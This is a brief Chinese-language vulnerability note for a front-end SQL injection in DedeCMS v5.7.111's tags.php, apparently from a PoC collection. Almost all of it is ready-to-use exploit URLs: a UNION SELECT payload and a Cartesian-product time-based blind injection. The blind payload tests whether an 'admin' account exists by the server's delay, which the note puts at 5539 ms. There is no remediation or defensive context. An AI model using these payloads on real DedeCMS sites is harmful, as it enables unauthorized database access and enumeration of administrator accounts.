Dedecms v5.7.111前台tags.php SQL注入漏洞.md

Dedecms v5.7.111前台tags.php SQL注入漏洞

影响版本：

v5.7.111，或打补丁的历史版本

poc

http://x.com/tags.php?tag=a/alias/about%27and{`\%27`%20id}%3E0.1union%20select%201,2,3,4,5,6,7,8,9,10,11--%20\\

/tags.php?tag=a/alias/about%27and{`\%27`%20id}%3E0.1+or+if(exists(select+*+from+%23@__admin+where+userid+like'admin'),(select+count(*)+from+information_schema.tables+A,information_schema.tables+B),1)--%20\\

笛卡尔积 盲注

/tags.php?tag=a/alias/about%27and{`\%27`%20id}%3E0.1+or+if(exists(select+*+from+%23@__admin+where+userid+like'admin'),(select+count(*)+from+information_schema.tables+A,information_schema.tables+B),1)--%20\\

当 admin表userid 存在admin时，响应时间为下图右下角的 5539 ms